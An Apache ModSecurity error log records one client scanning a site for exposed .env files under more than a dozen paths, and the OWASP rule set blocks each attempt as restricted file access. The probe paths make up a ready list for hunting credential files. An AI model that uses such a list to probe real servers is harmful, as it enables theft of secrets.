[Sun Oct 25 13:42:08.703602 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at4_cMsxP9Gbm0IYLGL9BAAAACI"]
[Sun Oct 25 13:42:08.703827 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at4_cMsxP9Gbm0IYLGL9BAAAACI"]
[Sun Oct 25 13:42:08.719126 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50066] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at4_cOTZqNQxsvKVpXkhdgAAABM"]
[Sun Oct 25 13:42:08.719313 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50066] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at4_cOTZqNQxsvKVpXkhdgAAABM"]
[Sun Oct 25 13:42:08.719547 2026] [security2:error] [pid 2867866:tid 2867866] [client 35.203.118.101:50066] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at4_cOTZqNQxsvKVpXkhdgAAABM"]
[Sun Oct 25 13:42:08.720654 2026] [security2:error] [pid 2873043:tid 2873043] [client 35.203.118.101:49990] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at4_cLlgkXO-t9NoorakQAAAAAM"]
[Sun Oct 25 13:42:08.720843 2026] [security2:error] [pid 2873043:tid 2873043] [client 35.203.118.101:49990] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at4_cLlgkXO-t9NoorakQAAAAAM"]
[Sun Oct 25 13:42:08.721111 2026] [security2:error] [pid 2873043:tid 2873043] [client 35.203.118.101:49990] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at4_cLlgkXO-t9NoorakQAAAAAM"]
[Sun Oct 25 13:42:08.767844 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4_cCjnAS4eJh-ada2MxwAAAA0"]
[Sun Oct 25 13:42:08.768058 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4_cCjnAS4eJh-ada2MxwAAAA0"]
[Sun Oct 25 13:42:08.768360 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4_cCjnAS4eJh-ada2MxwAAAA0"]
[Sun Oct 25 13:42:08.769405 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /auth/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at4_cHdfzIDEwjyAl3puHwAAACc"]
[Sun Oct 25 13:42:08.769580 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at4_cHdfzIDEwjyAl3puHwAAACc"]
[Sun Oct 25 13:42:08.769864 2026] [security2:error] [pid 2867885:tid 2867885] [client 35.203.118.101:50108] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at4_cHdfzIDEwjyAl3puHwAAACc"]
[Sun Oct 25 13:42:08.821479 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at4_cIIGIq5euXyTbvT09AAAACQ"]
[Sun Oct 25 13:42:08.821722 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at4_cIIGIq5euXyTbvT09AAAACQ"]
[Sun Oct 25 13:42:08.822022 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.203.118.101:49964] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/cms/.env"] [unique_id "at4_cIIGIq5euXyTbvT09AAAACQ"]
[Sun Oct 25 13:42:08.839548 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.203.118.101:49986] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at4_cLc82c1J4zoyxalWTQAAAAI"]
[Sun Oct 25 13:42:08.839718 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.203.118.101:49986] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at4_cLc82c1J4zoyxalWTQAAAAI"]
[Sun Oct 25 13:42:08.839966 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.203.118.101:49986] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at4_cLc82c1J4zoyxalWTQAAAAI"]
[Sun Oct 25 13:42:08.849376 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at4_cEnqvEndZSiuRU5OowAAAA8"]
[Sun Oct 25 13:42:08.849542 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at4_cEnqvEndZSiuRU5OowAAAA8"]
[Sun Oct 25 13:42:08.849817 2026] [security2:error] [pid 2867836:tid 2867836] [client 35.203.118.101:49960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at4_cEnqvEndZSiuRU5OowAAAA8"]
[Sun Oct 25 13:42:08.858033 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at4_cORnh_MPFutbQ4Jk7wAAAAE"]
[Sun Oct 25 13:42:08.858225 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at4_cORnh_MPFutbQ4Jk7wAAAAE"]
[Sun Oct 25 13:42:08.858463 2026] [security2:error] [pid 2872979:tid 2872979] [client 35.203.118.101:49994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at4_cORnh_MPFutbQ4Jk7wAAAAE"]
[Sun Oct 25 13:42:08.869634 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /etc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at4_cCjnAS4eJh-ada2MyAAAAA0"]
[Sun Oct 25 13:42:08.869836 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at4_cCjnAS4eJh-ada2MyAAAAA0"]
[Sun Oct 25 13:42:08.870112 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.203.118.101:50074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at4_cCjnAS4eJh-ada2MyAAAAA0"]
[Sun Oct 25 13:42:08.871150 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at4_cPwFw76qlSfceadvMQAAAAA"]
[Sun Oct 25 13:42:08.871302 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at4_cPwFw76qlSfceadvMQAAAAA"]
[Sun Oct 25 13:42:08.871521 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.203.118.101:49948] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at4_cPwFw76qlSfceadvMQAAAAA"]
[Sun Oct 25 13:42:08.877051 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at4_cJkDGkILNr0EMn3BZgAAACw"]
[Sun Oct 25 13:42:08.877201 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at4_cJkDGkILNr0EMn3BZgAAACw"]
[Sun Oct 25 13:42:08.877410 2026] [security2:error] [pid 2867890:tid 2867890] [client 35.203.118.101:50026] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at4_cJkDGkILNr0EMn3BZgAAACw"]
[Sun Oct 25 13:42:08.877734 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:50080] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at4_cFY5e6yJWIYGXiqDpQAAAAk"]
[Sun Oct 25 13:42:08.877961 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:50080] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag2.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at4_cFY5e6yJWIYGXiqDpQAAAAk"]
[Sun Oct 25 13:42:08.878195 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.203.118.101:50080] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag2.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at4_cFY5e6yJWIYGXiqDpQAAAAk"]
[Sun Oct 25 13:42:08.878377 2026] [security2:error] [pid 2862822:tid 2862822] [client 35.203.118.101:49974] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4_cMsxP9Gbm0IYLGL9BQAAACI"]
